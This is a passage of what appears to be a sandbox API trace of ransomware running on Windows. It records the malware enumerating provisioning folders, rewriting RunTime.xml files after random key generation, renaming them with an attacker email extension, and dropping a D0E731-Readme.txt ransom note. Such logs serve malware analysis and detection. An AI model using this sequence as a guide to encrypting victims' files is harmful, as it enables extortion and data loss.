Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*" [0084.358] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab478 [0084.358] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*", lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e04d8 [0084.358] wcscmp (_String1=".", _String2=".") returned 0 [0084.358] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.359] wcscmp (_String1="..", _String2=".") returned 1 [0084.359] wcscmp (_String1="..", _String2="..") returned 0 [0084.359] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef7d10, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef7d10, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0084.359] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0084.359] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0084.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482af8 [0084.359] wcscpy (in: _Dest=0x3482af8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" [0084.359] wcscat (in: _Dest=0x3482af8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\" [0084.359] wcscat (in: _Dest=0x3482af8, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0084.747] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef7d10, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef7d10, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0084.747] FindClose (in: hFindFile=0x33e04d8 | out: hFindFile=0x33e04d8) returned 1 [0084.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab478) returned 1 [0084.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486d10) returned 1 [0084.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431a60) returned 1 [0084.747] RtlExitUserThread (Status=0x0) Thread: id = 1232 os_tid = 0xd00 [0084.359] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml")) returned 0x20 [0084.359] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d4 [0084.360] GetFileSizeEx (in: hFile=0x8d4, lpFileSize=0x2b4bf8a4 | out: lpFileSize=0x2b4bf8a4*=251) returned 1 [0084.360] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0xf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.360] ReadFile (in: hFile=0x8d4, lpBuffer=0x2b4bf878, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x2b4bf878*, lpNumberOfBytesRead=0x2b4bf874*=0x4, lpOverlapped=0x0) returned 1 [0084.361] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.361] NtQuerySystemTime (in: CurrentTime=0x2b4bf850 | out: CurrentTime=0x2b4bf850*=132121176422578990) returned 0x0 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x57b537e5 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xd828e621 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xdd3ed91 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xebeb53b6 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x5d539dcc [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xc41a9253 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x2225c8b [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x4c5899d0 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xa69f6048 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xdf77ec5e [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x99dadc87 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x5f9a818e [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xf68707ec [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xd65f6bc2 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x3d0d9c66 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x28164241 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xa69e2c7a [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x5f58e161 [0084.361] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x91e07e41 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xb160087 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x606b6337 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x79e8dd98 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x7da21f2b [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x7ac739ed [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x8f65ea01 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xb53711eb [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xb1709c77 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x6fbde590 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x6a49c95c [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x9166bad3 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0x7ac7e7a4 [0084.362] RtlRandom (in: Seed=0x2b4bf85c | out: Seed=0x2b4bf85c) returned 0xcc8e5cbd [0084.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.372] ReadFile (in: hFile=0x8d4, lpBuffer=0x348d230, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x2b4bf850, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b4bf850*=0xfb, lpOverlapped=0x0) returned 1 [0084.373] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b4bf818 | out: lpNewFilePointer=0x0) returned 1 [0084.373] WriteFile (in: hFile=0x8d4, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x2b4bf84c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b4bf84c*=0xfb, lpOverlapped=0x0) returned 1 [0084.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.373] WriteFile (in: hFile=0x8d4, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b4bf848, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x2b4bf848*=0x20, lpOverlapped=0x0) returned 1 [0084.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.373] WriteFile (in: hFile=0x8d4, lpBuffer=0x342db68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x342db68*, lpNumberOfBytesWritten=0x2b4bf874*=0x8, lpOverlapped=0x0) returned 1 [0084.373] WriteFile (in: hFile=0x8d4, lpBuffer=0x2b4bf88c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x2b4bf88c*, lpNumberOfBytesWritten=0x2b4bf874*=0x4, lpOverlapped=0x0) returned 1 [0084.373] WriteFile (in: hFile=0x8d4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b4bf874*=0x4, lpOverlapped=0x0) returned 1 [0084.373] WriteFile (in: hFile=0x8d4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b4bf874*=0x6c, lpOverlapped=0x0) returned 1 [0084.374] WriteFile (in: hFile=0x8d4, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2b4bf874*=0x20, lpOverlapped=0x0) returned 1 [0084.374] WriteFile (in: hFile=0x8d4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b4bf874, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b4bf874*=0x4, lpOverlapped=0x0) returned 1 [0084.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342daf0) returned 1 [0084.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db68) returned 1 [0084.374] CloseHandle (hObject=0x8d4) returned 1 [0084.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479cc0 [0084.374] wcscpy (in: _Dest=0x3479cc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" [0084.374] wcscat (in: _Dest=0x3479cc0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.374] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cc0) returned 1 [0084.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.375] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0084.375] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\D0E731-Readme.txt" [0084.375] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d4 [0084.376] WriteFile (in: hFile=0x8d4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b4bf870, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b4bf870*=0x481, lpOverlapped=0x0) returned 1 [0084.377] CloseHandle (hObject=0x8d4) returned 1 [0084.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6b88) returned 1 [0084.377] RtlExitUserThread (Status=0x1) Thread: id = 1233 os_tid = 0x654 [0084.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486dd8 [0084.380] wcscpy (in: _Dest=0x3486dd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" [0084.380] wcscat (in: _Dest=0x3486dd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\" [0084.380] wcscat (in: _Dest=0x3486dd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*" [0084.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab6e0 [0084.380] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*", lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0518 [0084.380] wcscmp (_String1=".", _String2=".") returned 0 [0084.380] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.380] wcscmp (_String1="..", _String2=".") returned 1 [0084.380] wcscmp (_String1="..", _String2="..") returned 0 [0084.380] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f19b66, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f19b66, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0084.380] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0084.380] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0084.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a380 [0084.380] wcscpy (in: _Dest=0x342a380, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" [0084.380] wcscat (in: _Dest=0x342a380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\" [0084.380] wcscat (in: _Dest=0x342a380, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342a380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0084.744] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f19b66, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f19b66, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.744] FindClose (in: hFindFile=0x33e0518 | out: hFindFile=0x33e0518) returned 1 [0084.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab6e0) returned 1 [0084.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486dd8) returned 1 [0084.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431998) returned 1 [0084.744] RtlExitUserThread (Status=0x0) Thread: id = 1234 os_tid = 0x1384 [0084.381] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml")) returned 0x20 [0084.381] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.382] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0084.382] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2b5bf9c4 | out: lpFileSize=0x2b5bf9c4*=460) returned 1 [0084.382] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.382] ReadFile (in: hFile=0x3d4, lpBuffer=0x2b5bf998, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x2b5bf998*, lpNumberOfBytesRead=0x2b5bf994*=0x4, lpOverlapped=0x0) returned 1 